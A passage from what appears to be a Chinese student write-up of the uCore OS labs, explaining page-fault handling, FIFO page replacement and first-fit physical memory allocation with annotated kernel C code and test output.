  • 写入一个存在物理页的虚拟页 —- 写时复制
  • 读写一个不存在物理页的虚拟页 —- 缺页
  • 不满足访问权限

虚拟页结构

lab3 的虚拟页结构和 lab2 有所不同:

1
2
3
4
5
6
7
8
struct Page {
int ref; // 当前页被引用的次数,与内存共享有关
uint32_t flags; // 标志位的集合,与eflags寄存器类似
unsigned int property; // 空闲的连续page数量,这个成员只会用在连续空闲page中的第一个page
list_entry_t page_link; // 两个分别指向上一个和下一个非连续空闲页的两个指针
list_entry_t pra_page_link; // 用于连接上一个和下一个"可交换已分配"的物理页
uintptr_t pra_vaddr; // 用于保存该物理页所对应的虚拟地址
};

新增了 pra_page_linkpra_vaddr ,它们将在页面替换算法(page replace algorithm,pra)中起作用( pra_page_link 类似于 page_link ,用于链接执行“页面替换算法”的链表)

uCore页面置换&物理页控制

swap_manager 与 pmm_manager 类似,都设置了一个用于管理某个功能的模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct swap_manager
{
const char *name;
int (*init) (void);
/* 交换管理器的全局初始化 */
int (*init_mm) (struct mm_struct *mm);
/* 初始化mm_结构中的priv数据 */
int (*tick_event) (struct mm_struct *mm);
/* 发生时钟中断时调用 */
int (*map_swappable) (struct mm_struct *mm, uintptr_t addr, struct Page *page, int swap_in);
/* 将可交换页面映射到mm_结构时调用 */
int (*set_unswappable) (struct mm_struct *mm, uintptr_t addr);
/* 当页面被标记为共享时,调用此例程(从交换管理器中删除addr条目) */
int (*swap_out_victim) (struct mm_struct *mm, struct Page **ptr_page, int in_tick);
/* 试着换掉一页,然后返回victim */
int (*check_swap)(void);
/* 检查页面重新定距算法 */
};
/* 结构体swap_manager中:定义了一大堆的函数指针 */

pgdir_alloc_page:分配一块物理页(作为页表),设置页表项(对应物理地址la),插入页表目录(pgdir)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct Page *
pgdir_alloc_page(pde_t *pgdir, uintptr_t la, uint32_t perm) {
struct Page *page = alloc_page(); /* 分配一张物理页 */
if (page != NULL) {
if (page_insert(pgdir, page, la, perm) != 0) {
/* 将该物理页与对应的虚拟地址关联,同时设置页表 */
free_page(page); /* 释放页 */
return NULL;
}
if (swap_init_ok){
swap_map_swappable(check_mm_struct, la, page, 0);
/* 设置当前页为可swap */
page->pra_vaddr=la;
assert(page_ref(page) == 1);
}
}
return page;
}

page_insert:将该物理页与对应的虚拟地址关联,同时设置页表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int
page_insert(pde_t *pgdir, struct Page *page, uintptr_t la, uint32_t perm) {
// pgdir:页目录表PDT的内核虚拟基址
// page:需要映射的物理页
// la:需要映射的线性地址
// perm:在相关pte中设置的该页面的权限

pte_t *ptep = get_pte(pgdir, la, 1); /* 获取线性地址la对应二级页表项的虚拟地址 */
if (ptep == NULL) {
return -E_NO_MEM;
}
page_ref_inc(page); /* 引用次数+1 */
if (*ptep & PTE_P) { /* 表示物理内存页存在 */
struct Page *p = pte2page(*ptep); /* 获取该物理页 */
if (p == page) {
page_ref_dec(page); /* 引用次数-1 */
}
else {
page_remove_pte(pgdir, la, ptep); /* 释放某虚地址所在的物理页并取消对应的二级页表项映射 */
}
}
*ptep = page2pa(page) | PTE_P | perm; /* 获取物理页page的物理地址后进行设置 */
/* ptep为对应二级页表项的虚拟地址,页表项里面也应该装物理地址 */
tlb_invalidate(pgdir, la); /* 用于使虚拟地址la对应的tlb表项失效 */
return 0;
}

/* page->ref:当前页被引用的次数,与内存共享有关 */

static inline int
page_ref_inc(struct Page *page) {
page->ref += 1; /* 引用次数+1 */
return page->ref;
}

static inline int
page_ref_dec(struct Page *page) {
page->ref -= 1; /* 引用次数-1 */
return page->ref;
}

page_remove_pte:释放某虚地址所在的物理页并取消对应的二级页表项映射(已经实现)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static inline void
page_remove_pte(pde_t *pgdir, uintptr_t la, pte_t *ptep) {
// pgdir:页目录表PDT的内核虚拟基址
// la:需要映射的线性地址
// ptep:二级页表项的虚拟地址

#if 0 /* 模板 */
if (0) {
struct Page *page = NULL;
}
#endif /* 实现 */
if (*ptep & PTE_P) {
struct Page *page = pte2page(*ptep); /* 获取对应的物理页 */
if (page_ref_dec(page) == 0) { /* "引用次数-1"后,确保该页没有被引用 */
free_page(page); /* 释放目标页 */
}
*ptep = 0;
tlb_invalidate(pgdir, la); /* 用于使虚拟地址la对应的tlb表项失效 */
}
}

swap_in:只会将目标物理页加载进内存中,而不会修改页表条目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int
swap_in(struct mm_struct *mm, uintptr_t addr, struct Page **ptr_result)
{
// mm:指定地址对应的"所属的内存描述符"
// addr:指定的虚拟地址
// ptr_result:最终需要返回的物理页(利用alloc_page进行分配)

struct Page *result = alloc_page(); /* 分配一张物理页 */
assert(result!=NULL); /* assert断言分配成功 */

pte_t *ptep = get_pte(mm->pgdir, addr, 0);
/* 找到一个虚地址对应的二级页表项的虚拟地址,如果此二级页表项不存在,则分配一个包含此项的二级页表 */

int r;
if ((r = swapfs_read((*ptep), result)) != 0)
/* 尝试将硬盘中的内容换入到新的page中 */
{
assert(r!=0);
}
cprintf("swap_in: load disk swap entry %d with swap_page in vadr 0x%x\n", (*ptep)>>8, addr);
*ptr_result=result;
return 0;
}

swapfs_read:尝试将硬盘中的内容换入到新的 page 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int
swapfs_read(swap_entry_t entry, struct Page *page) {
return ide_read_secs(SWAP_DEV_NO, swap_offset(entry) * PAGE_NSECT, page2kva(page), PAGE_NSECT);
}

int
ide_read_secs(unsigned short ideno, uint32_t secno, void *dst, size_t nsecs) {
assert(nsecs <= MAX_NSECS && VALID_IDE(ideno));
assert(secno < MAX_DISK_NSECS && secno + nsecs <= MAX_DISK_NSECS);
unsigned short iobase = IO_BASE(ideno), ioctrl = IO_CTRL(ideno);

ide_wait_ready(iobase, 0);

// generate interrupt
outb(ioctrl + ISA_CTRL, 0);
outb(iobase + ISA_SECCNT, nsecs);
outb(iobase + ISA_SECTOR, secno & 0xFF);
outb(iobase + ISA_CYL_LO, (secno >> 8) & 0xFF);
outb(iobase + ISA_CYL_HI, (secno >> 16) & 0xFF);
outb(iobase + ISA_SDH, 0xE0 | ((ideno & 1) << 4) | ((secno >> 24) & 0xF));
outb(iobase + ISA_COMMAND, IDE_CMD_READ);

int ret = 0;
for (; nsecs > 0; nsecs --, dst += SECTSIZE) {
if ((ret = ide_wait_ready(iobase, 1)) != 0) {
goto out;
}
insl(iobase, dst, SECTSIZE / sizeof(uint32_t));
}
out:
return ret;
}

swap_map_swappable:将该物理页加入到 mm_struct->sm_priv 指针所指向的双向链表中,换入和换出操作都会操作该链表(插入/移除 可交换的已分配 物理页)

1
2
3
4
5
int
swap_map_swappable(struct mm_struct *mm, uintptr_t addr, struct Page *page, int swap_in)
{
return sm->map_swappable(mm, addr, page, swap_in); /* 发生时钟中断时调用 */
}

uCore缺页异常处理

页缺失(Page fault,又名硬错误、硬中断、分页错误、寻页缺失、缺页中断、页故障等),是指当软件试图访问已映射在虚拟地址空间中, 但是并未被加载在物理内存中的一个分页时 ,由中央处理器的内存管理单元所发出的中断(读写一个不存在物理页的虚拟页)

通常情况下,用于处理此中断的程序是操作系统的一部分

  • 如果操作系统判断此次访问是有效的,那么操作系统会尝试将相关的分页从硬盘上的虚拟内存文件中调入内存
  • 而如果访问是不被允许的,那么操作系统通常会结束相关的进程

产生页访问异常的原因主要有:

  • 目标页帧不存在(页表项全为 0,即该线性地址与物理地址尚未建立映射或者已经撤销)
  • 相应的物理页帧不在内存中(页表项非空,但 Present 标志位=0,比如在 swap 分区或磁盘文件上)
  • 不满足访问权限(此时页表项 P 标志=1,但低权限的程序试图访问高权限的地址空间,或者有程序试图写只读页面)

异常处理的过程:

产生页访问异常后,CPU 硬件和软件都会做一些事情来应对此事

  • 首先页访问异常也是一种异常,所以针对一般异常的硬件处理操作是必须要做的,即 CPU 在当前内核栈保存当前被打断的程序现场,即依次压入当前被打断程序使用的 EFLAGS,CS,EIP,errorCode
  • 由于页访问异常的中断号是 0xE,CPU 把异常中断号 0xE 对应的中断服务例程的地址加载到 CS 和 EIP 寄存器中,开始执行中断服务例程
  • 这时 ucore 开始处理异常中断,首先需要保存硬件没有保存的寄存器,在 vectors.S 中的标号 vector14 处先把中断号压入内核栈,然后再在 trapentry.S 中的标号__alltraps 处把 DS、ES 和其他通用寄存器都压栈
  • 自此,被打断的程序执行现场(context)被保存在内核栈中
  • 接下来,在 trap.c 的 trap 函数开始了中断服务例程的处理流程,大致调用关系为:
1
trap-->trap_dispatch-->pgfault_handler-->do_pgfault

其中的 do_pgfault 就是该异常处理的核心部分

练习0-把 lab2 的内容复制粘贴到 lab3

练习1-给未被映射的地址映射上物理页

完成 do_pgfault 函数(mm/vmm.c),给未被映射的地址映射上物理页,设置访问权限的时候需要参考页面所在 VMA 的权限,同时需要注意映射物理页时需要操作内存控制 结构所指定的页表,而不是内核的页表

  • 触发 do_pgfault 有两种情况:
    • 如果操作系统判断此次访问是有效的,那么操作系统会尝试将相关的分页从硬盘上的虚拟内存文件中调入内存
    • 如果访问是不被允许的,那么操作系统通常会结束相关的进程
  • 第二种情况程序已经替我们实现了,所以我们需要“将相关的分页从硬盘上的虚拟内存文件中调入内存”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int
do_pgfault(struct mm_struct *mm, uint32_t error_code, uintptr_t addr) {
// mm:指定地址对应的"所属的内存描述符"
// error_code:错误代码
// addr:发生Page Fault的虚拟地址

int ret = -E_INVAL;
/* 根据mm找到一个vma(virtual memory areas) */
struct vma_struct *vma = find_vma(mm, addr);

pgfault_num++;
/* vma未找到 || 如果addr(虚拟地址)不在mm的vma范围内 */
if (vma == NULL || vma->vm_start > addr) {
cprintf("not valid addr %x, and can not find it in vma\n", addr);
goto failed;
}
/* 检测到错误代码,根据错误代码输出错误信息 */
switch (error_code & 3) {
default:
/* error code flag : default is 3 ( W/R=1, P=1): write, present */
case 2: /* error code flag : (W/R=1, P=0): write, not present */
if (!(vma->vm_flags & VM_WRITE)) {
cprintf("do_pgfault failed: error code flag = write AND not present, but the addr's vma cannot write\n");
goto failed;
}
break;
case 1: /* error code flag : (W/R=0, P=1): read, present */
cprintf("do_pgfault failed: error code flag = read AND present\n");
goto failed;
case 0: /* error code flag : (W/R=0, P=0): read, not present */
if (!(vma->vm_flags & (VM_READ | VM_EXEC))) {
cprintf("do_pgfault failed: error code flag = read AND not present, but the addr's vma cannot read or exec\n");
goto failed;
}
}
uint32_t perm = PTE_U; /* 设置页表条目所对应的权限:可以读取对应物理页的内容 */
if (vma->vm_flags & VM_WRITE) {
perm |= PTE_W;
}
addr = ROUNDDOWN(addr, PGSIZE); /* 将addr与PGSIZE对齐 */
ret = -E_NO_MEM;
pte_t *ptep=NULL;
#if 0 /* 需要在这里实现:将相关的分页从硬盘上的虚拟内存文件中调入内存 */
ptep = ???
if (*ptep == 0) {
}
else {
if(swap_init_ok) {
struct Page *page=NULL;
}
else {
cprintf("no swap_init_ok but ptep is %x, failed\n",*ptep);
goto failed;
}
}
#endif
ret = 0;
failed:
return ret;
}

要求:

  • 尝试查找 pte,如果 pte 的PT(页面表)不存在,则创建一个PT
  • 如果 phy addr 不存在,则分配一个页面并将 phy addr 映射为逻辑 addr
  • 根据 mm 和 addr,尝试加载右磁盘页面的内容
  • 根据 mm、addr 和 page,设置 phy addr 的映射
  • 使页面可交换

具体实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
int
do_pgfault(struct mm_struct *mm, uint32_t error_code, uintptr_t addr) {
// mm:指定地址对应的"所属的内存描述符"
// error_code:错误代码
// addr:发生Page Fault的虚拟地址

int ret = -E_INVAL;
/* 根据mm找到一个vma(virtual memory areas) */
struct vma_struct *vma = find_vma(mm, addr);

pgfault_num++;
/* vma未找到 || 如果addr(虚拟地址)不在mm的vma范围内 */
if (vma == NULL || vma->vm_start > addr) {
cprintf("not valid addr %x, and can not find it in vma\n", addr);
goto failed;
}
/* 检测错误代码,这里的检测不涉及特权判断 */
switch (error_code & 3) {
default:
/* error code flag : default is 3 ( W/R=1, P=1): write, present */
case 2: /* error code flag : (W/R=1, P=0): write, not present */
if (!(vma->vm_flags & VM_WRITE)) {
cprintf("do_pgfault failed: error code flag = write AND not present, but the addr's vma cannot write\n");
goto failed;
}
break;
case 1: /* error code flag : (W/R=0, P=1): read, present */
cprintf("do_pgfault failed: error code flag = read AND present\n");
goto failed;
case 0: /* error code flag : (W/R=0, P=0): read, not present */
if (!(vma->vm_flags & (VM_READ | VM_EXEC))) {
cprintf("do_pgfault failed: error code flag = read AND not present, but the addr's vma cannot read or exec\n");
goto failed;
}
}
uint32_t perm = PTE_U; /* 设置页表条目所对应的权限:可以读取对应物理页的内容 */
if (vma->vm_flags & VM_WRITE) {
perm |= PTE_W;
}
addr = ROUNDDOWN(addr, PGSIZE); /* 将addr与PGSIZE对齐 */
ret = -E_NO_MEM;
pte_t *ptep=NULL;
#if 0 /* 模板 */
ptep = ???
if (*ptep == 0) {
}
else {
if(swap_init_ok) {
struct Page *page=NULL;
}
else {
cprintf("no swap_init_ok but ptep is %x, failed\n",*ptep);
goto failed;
}
}
#endif
ptep = get_pte(mm->pgdir, addr, 1); /* 获取当前虚拟地址所对应的页表项 */
if (*ptep == 0) { /* 该页表项对应的物理页不存在 */
if (pgdir_alloc_page(mm->pgdir, addr, perm) == NULL) {
/* 分配一块物理页,并设置页表项 */
cprintf("pgdir_alloc_page in do_pgfault failed\n");
goto failed;
}
}
else { /* 该页表项对应的物理页存在 */
if(swap_init_ok) { /* 如果swap已经初始化完成 */
struct Page *page=NULL;
if ((ret = swap_in(mm, addr, &page)) != 0) {
/* 只会将目标物理页加载进内存中,而不会修改页表条目 */
cprintf("swap_in in do_pgfault failed\n");
goto failed;
}
page_insert(mm->pgdir, page, addr, perm);
/* 将该物理页与对应的虚拟地址关联,同时设置页表 */
swap_map_swappable(mm, addr, page, 1);
/* 设置当前页为可swap */
page->pra_vaddr = addr;
/* page->pra_vaddr:用于保存该物理页所对应的虚拟地址 */
}
else {
cprintf("no swap_init_ok but ptep is %x, failed\n",*ptep);
goto failed;
}
}
ret = 0;
failed:
return ret;
}

练习2-补充完成基于FIFO的页面替换算法

FIFO 中,当新加入一个物理页时,我们只需将该物理页加入至链表首部即可,当需要换出某个物理页时,选择链表末尾的物理页即可

先看看 FIFO 初始化函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
list_entry_t pra_list_head; /* swap manager中:"可交换已分配"链表的链表头 */

static int
_fifo_init_mm(struct mm_struct *mm)
{
list_init(&pra_list_head);
mm->sm_priv = &pra_list_head;
return 0;
}

static inline void
list_init(list_entry_t *elm) {
elm->prev = elm->next = elm;
}
  • 让 mm->sm_priv 指向 pra_list_head 的地址
  • 现在,我们可以从内存控制结构体 mm_struct 访问 FIFO PRA(FIFO页面替换算法)

接下来就是需要我们进行完善的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static int /* 执行目标页加入队列的操作(插入目标页头部即可) */
_fifo_map_swappable(struct mm_struct *mm, uintptr_t addr, struct Page *page, int swap_in)
{
list_entry_t *head=(list_entry_t*) mm->sm_priv; /* 获取pra_list_head */
list_entry_t *entry=&(page->pra_page_link);
/* 获取用于连接上一个和下一个"可交换已分配"的物理页 */

assert(entry != NULL && head != NULL); /* 断言获取成功 */
//record the page access situlation
/*LAB3 EXERCISE 2: YOUR CODE*/
//(1)link the most recent arrival page at the back of the pra_list_head qeueue.
return 0;
}

static int /* 执行换出队列的操作(把链表尾部的page脱链即可) */
_fifo_swap_out_victim(struct mm_struct *mm, struct Page ** ptr_page, int in_tick)
{
list_entry_t *head=(list_entry_t*) mm->sm_priv; /* 获取pra_list_head */
assert(head != NULL);
assert(in_tick==0);
/* Select the victim */
/*LAB3 EXERCISE 2: YOUR CODE*/
//(1) unlink the earliest arrival page in front of pra_list_head qeueue
//(2) assign the value of *ptr_page to the addr of this page
return 0;
}

具体实现特别简单:(参考 CSapp 中的 malloc lab)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static int /* 执行目标页加入队列的操作(插入目标页头部即可) */
_fifo_map_swappable(struct mm_struct *mm, uintptr_t addr, struct Page *page, int swap_in)
{
// mm:指定地址对应的"所属的内存描述符"
// addr:发生目标虚拟地址
// page:将要被插入的物理页
// swap_in:swap_manager中的函数指针(将可交换页面映射到mm_结构时调用)

list_entry_t *head=(list_entry_t*) mm->sm_priv; /* 获取pra_list_head */
list_entry_t *entry=&(page->pra_page_link); /* page->pra_page_link==NULL */
assert(entry != NULL && head != NULL);

/* 结点->prev <--1--> 结点(pra_list_head) <--2--> 结点->next */

list_add(head, entry); /* 直接插入头部("2"号位置) */
return 0;
}

static int /* 执行换出队列的操作(把链表尾部的page脱链即可) */
_fifo_swap_out_victim(struct mm_struct *mm, struct Page ** ptr_page, int in_tick)
{
// mm:指定地址对应的"所属的内存描述符"
// ptr_page:将要被换出的物理页(会被返回出来)
// in_tick:信息表示位

list_entry_t *head=(list_entry_t*) mm->sm_priv; /* 获取pra_list_head */
assert(head != NULL);
assert(in_tick==0);
list_entry_t *le = head->prev; /* 获取pra_list_head->prev(链表尾) */
assert(head!=le);
struct Page *p = le2page(le, pra_page_link); /* 根据链表信息获取该page的位置 */
list_del(le); /* 脱链操作 */
assert(p !=NULL);
*ptr_page = p;

return 0;
}

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
➜  lab3 make grade
Check SWAP: (1.2s)
-check pmm: OK
-check page table: OK
-check vmm: WRONG
-e !! error: missing 'page fault at 0x00000100: K/W [no page found].'
!! error: missing 'check_pgfault() succeeded!'
!! error: missing 'check_vmm() succeeded.'

-check swap page fault: WRONG
-e !! error: missing 'page fault at 0x00001000: K/W [no page found].'
!! error: missing 'page fault at 0x00002000: K/W [no page found].'
!! error: missing 'page fault at 0x00003000: K/W [no page found].'
!! error: missing 'page fault at 0x00004000: K/W [no page found].'
!! error: missing 'write Virt Page e in fifo_check_swap'
!! error: missing 'page fault at 0x00005000: K/W [no page found].'
!! error: missing 'page fault at 0x00001000: K/W [no page found]'
!! error: missing 'page fault at 0x00002000: K/W [no page found].'
!! error: missing 'page fault at 0x00003000: K/W [no page found].'
!! error: missing 'page fault at 0x00004000: K/W [no page found].'
!! error: missing 'check_swap() succeeded!'

-check ticks: WRONG
-e !! error: missing '++ setup timer interrupts'
!! error: missing '100 ticks'
!! error: missing 'End of Test.'

Total Score: 10/45
make: *** [Makefile:260:grade] 错误 1

项目组成

相对与实验一,实验二主要增加和修改的文件如上表所示。主要改动如下:

  • boot/bootasm.S:增加了对计算机系统中物理内存布局的探测功能
  • kern/init/entry.S:根据临时段表重新暂时建立好新的段空间,为进行分页做好准备
  • kern/mm/default_pmm.[ch]:提供基本的基于链表方法的物理内存管理(分配单位为页,即4096字节)
  • kern/mm/pmm.[ch]:pmm.h定义物理内存管理类框架struct pmm_manager,基于此通用框架可以实现不同的物理内存管理策略和算法(default_pmm.[ch] 实现了一个基于此框架的简单物理内存管理策略),pmm.c包含了对此物理内存管理类框架的访问,以及与建立、修改、访问页表相关的各种函数实现
  • kern/sync/sync.h:为确保内存管理修改相关数据时不被中断打断,提供两个功能,一个是保存eflag寄存器中的中断屏蔽位信息并屏蔽中断的功能,另一个是根据保存的中断屏蔽位信息来使能中断的功能(可不用细看)
  • libs/list.h:定义了通用双向链表结构以及相关的查找、插入等基本操作,这是建立基于链表方法的物理内存管理(以及其他内核功能)的基础,其他有类似双向链表需求的内核功能模块可直接使用list.h中定义的函数
  • libs/atomic.h:定义了对一个变量进行读写的原子操作,确保相关操作不被中断打断(可不用细看)
  • tools/kernel.ld:ld形成执行文件的地址所用到的链接脚本,修改了ucore的起始入口和代码段的起始地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
➜  lab2 make qemu
WARNING: Image format was not specified for 'bin/ucore.img' and probing guessed raw.
Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted.
Specify the 'raw' format explicitly to remove the restrictions.
(THU.CST) os is loading ...

Special kernel symbols:
entry 0xc0100036 (phys)
etext 0xc0105d24 (phys)
edata 0xc011b000 (phys)
end 0xc011bf28 (phys)
Kernel executable memory footprint: 112KB
memory management: default_pmm_manager
e820map:
memory: 0009fc00, [00000000, 0009fbff], type = 1.
memory: 00000400, [0009fc00, 0009ffff], type = 2.
memory: 00010000, [000f0000, 000fffff], type = 2.
memory: 07ee0000, [00100000, 07fdffff], type = 1.
memory: 00020000, [07fe0000, 07ffffff], type = 2.
memory: 00040000, [fffc0000, ffffffff], type = 2.
kernel panic at kern/mm/default_pmm.c:277:
assertion failed: (p0 = alloc_page()) == p2 - 1
stack trackback:
Welcome to the kernel debug monitor!!

物理内存管理

本次实验主要完成ucore内核对物理内存的管理工作

  • 为了完成物理内存管理,这里首先需要 探测可用的物理内存资源 ,了解到物理内存位于什么地方,有多大之后,就以固定页面大小来划分整个物理内存空间,并准备以此为最小内存分配单位来管理整个物理内存,管理在内核运行过程中每页内存,设定其可用状态(free的,used的,还是reserved的)
  • 接着 ucore kernel 就要建立页表, 启动分页机制,让CPU的MMU把预先建立好的页表中的页表项读入到TLB中,根据页表项描述的虚拟页(Page)与物理页帧(Page Frame)的对应关系完成CPU对内存的读、写和执行操作

探测系统物理内存布局

操作系统需要知道了解整个计算机系统中的物理内存如何分布的,哪些被可用,哪些不可用,其基本方法是通过 BIOS 中断调用来帮助完成的

Linux 有多种办法可以获取内存容量,如果一种方式失效,它就会尝试其他办法

在 Linux 2.6 内核中,是用 detect_memory 函数来获取内存容量的,其函数在本质上是通过调用 BIOS 中断 0x15 实现的,分别是 BIOS 中断 0x15 的3个子功能,子功能号要存放到寄存器 EAX AX 中,如下:

  • EAX=0xE820:遍历主机上全部内存
  • AX=0xE801:分别检测低 15MB 和 16MB ~ 4GB 的内存,最大支持 4GB
  • AH=0x88:最多检测出 64MB 内存,如果实际内存超过此容量也按照 64MB 返回

uCore物理页结构

结构体 Page:用于管理各个内存页:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct list_entry {
struct list_entry *prev, *next; /* list_entry其实是两个指针 */
};

typedef struct list_entry list_entry_t;

/* *
* struct Page - Page descriptor structures. Each Page describes one
* physical page. In kern/mm/pmm.h, you can find lots of useful functions
* that convert Page to other data types, such as phyical address.
* */
struct Page {
int ref; // 当前页被引用的次数,与内存共享有关
uint32_t flags; // 标志位的集合,与eflags寄存器类似
unsigned int property; // 空闲的连续page数量,这个成员只会用在连续空闲page中的第一个page
list_entry_t page_link; // 两个分别指向上一个和下一个非连续空闲页的两个指针
};
  • 在lab2中,flags 可以设置的位只有reserved位和Property
    • reserved位表示:当前页是否被保留,一旦保留该页,则该页无法用于分配
    • Property位表示:当前页是否已被分配(为1则表示已分配)

uCore虚拟页结构

每个页表项(PTE)都由一个32位整数来存储数据,其结构如下:

1
2
3
4
      31-12      9-11     8    7    6   5   4      3    2   1   0
+--------------+-------+-----+----+---+---+-----+-----+---+---+---+
| Offset | Avail | MBZ | PS | D | A | PCD | PWT | U | W | P |
+--------------+-------+-----+----+---+---+-----+-----+---+---+---+
  • 0 - Present:表示当前PTE所指向的物理页面是否驻留在内存中
  • 1 - Writeable:表示是否允许读写
  • 2 - User:表示该页的访问所需要的特权级(即User(ring 3)是否允许访问)
  • 3 - PageWriteThough:表示是否使用write through缓存写策略
  • 4 - PageCacheDisable:表示是否 不对 该页进行缓存
  • 5 - Access:表示该页是否已被访问过
  • 6 - Dirty:表示该页是否已被修改
  • 7 - PageSize:表示该页的大小
  • 8 - MustBeZero:该位必须保留为0
  • 9-11 - Available:第9-11这三位并没有被内核或中断所使用,可保留给OS使用
  • 12-31 - Offset:目标地址的后20位

uCore物理页链表

结构体 free_area_t:用于定义两个关键的全局变量

1
2
3
4
5
/* free_area_t - 维护一个双向链表来记录空闲(未使用的)页 */
typedef struct {
list_entry_t free_list; // 链表头部
unsigned int nr_free; // 表示空闲页的数量
} free_area_t;
  • 虽然 ucore 把这两个变量放入了结构体,但是它还是喜欢把它们当做全局变量来用

uCore物理页的插链&脱链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
static inline list_entry_t *
list_next(list_entry_t *listelm) {
return listelm->next; /* 指向next */
}

static inline void /* list_add是list_add_after的外包装 */
list_add(list_entry_t *listelm, list_entry_t *elm) {
// listelm: 目标链表结点
// elm: 将要插入的对象(list_entry_t *elm == NULL)
list_add_after(listelm, elm);
}

/* 结点->prev <--1--> 结点 <--2--> 结点->next */

static inline void /* 插入"2"号位置 */
list_add_after(list_entry_t *listelm, list_entry_t *elm) {
__list_add(elm, listelm, listelm->next);
}

static inline void /* 插入"1"号位置 */
list_add_before(list_entry_t *listelm, list_entry_t *elm) {
__list_add(elm, listelm->prev, listelm);
}

static inline void /* 正真执行添加操作的是__list_add */
__list_add(list_entry_t *elm, list_entry_t *prev, list_entry_t *next) {
prev->next = next->prev = elm;
elm->next = next;
elm->prev = prev;
}

static inline void /* list_del是__list_del的外包装 */
list_del(list_entry_t *listelm) {
__list_del(listelm->prev, listelm->next);
}

static inline void /* 正真执行脱链操作的是__list_del */
__list_del(list_entry_t *prev, list_entry_t *next) {
prev->next = next;
next->prev = prev;
}

uCore内存管理类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct pmm_manager {
const char *name; // 名字
void (*init)(void); // 初始化
void (*init_memmap)(struct Page *base, size_t n); // 根据初始物理内存空间设置描述和管理数据结构
struct Page *(*alloc_pages)(size_t n); // 分配页
void (*free_pages)(struct Page *base, size_t n); // 释放页
size_t (*nr_free_pages)(void); // 返回空闲页数
void (*check)(void); // 检验管理器的正确性
};

#define PDXSHIFT 22
#define PDX(la) ((((uintptr_t)(la)) >> PDXSHIFT) & 0x3FF)
/* 获取"页目录项PDE"的索引:用来在页目录中定位一个页表 */

#define PTXSHIFT 12
#define PTX(la) ((((uintptr_t)(la)) >> PTXSHIFT) & 0x3FF)
/* 获取"页表项PTE"的索引:用来在页表中定位具体的物理页 */

还有一些关于内存管理的宏定义:

  • PDX(la):可以用来获取 Directory,对应页目录项的索引
  • PTX(la):可以用来获取 Table,对应表项(物理页)的索引
  • KADDR(pa):返回物理地址pa对应的虚拟地址
  • set_page_ref(page,1):设置此页被引用一次
  • page2pa(page):得到page管理的那一页的物理地址
  • struct Page * alloc_page():分配一页出来
  • memset(void * s, char c, size_t n):设置s指向地址的前面n个字节为‘c’
  • PTE_P 0x001 :表示物理内存页存在
  • PTE_W 0x002 :表示物理内存页内容可写
  • PTE_U 0x004 :表示可以读取对应地址的物理内存页内容

练习0-把 lab1 的内容复制粘贴到 lab2

练习1-实现 first-fit 连续物理内存分配算法

分析 ucore 自带的代码:

default_init_memmap:根据每个物理页帧(一个地址连续的 4K 字节大小单元内存)的情况来建立空闲页链表,且空闲页块应该是根据地址高低形成一个有序链表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define PageReserved(page)          test_bit(PG_reserved, &((page)->flags))

static void
default_init_memmap(struct Page *base, size_t n) {
/* base:基地址,n:表示要初始化n个页 */
assert(n > 0); /* 断言表达式"n>0"成立,否则调用panic来终止程序 */
struct Page *p = base;
for (; p != base + n; p ++) {
assert(PageReserved(p)); /* 进行检查(这里不需要关心) */
p->flags = p->property = 0; /* 设置flags & 置空property(只有base page的property才会起作用) */
set_page_ref(p, 0); /* 设置该物理页面的引用次数为0 */
}
base->property = n; /* 在base page中设置空闲的连续page数量 */
SetPageProperty(base); /* 设置当前页为空闲 */
nr_free += n; /* nr_free:空闲页的总数 */
list_add(&free_list, &(base->page_link));
}
  • 基于 base 来确定空闲页基地址,根据 n 来获取所需空闲页的数目
  • 只有 base page 的 property 才会起作用,其他 page 的 property 置为0
  • 进行一系列初始化,最后执行 list_add 添加入空闲页链表

default_alloc_pages:分配指定数目的内存页

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static struct Page *
default_alloc_pages(size_t n) {
/* n:表示要分配n个页 */
assert(n > 0); /* 断言表达式"n>0"成立,否则调用panic来终止程序 */
if (n > nr_free) {
return NULL; /* 申请内存页的数目>空闲内存页的数目 */
}
struct Page *page = NULL;
list_entry_t *le = &free_list; /* 初始化le为链表头部 */
while ((le = list_next(le)) != &free_list) { /* 实现first-fit算法 */
struct Page *p = le2page(le, page_link); /* 根据链表信息获取该page的位置 */
if (p->property >= n) { /* 如果空闲页够用,就进行分配 */
page = p;
break;
}
}
if (page != NULL) { /* 成功获取空闲页 */
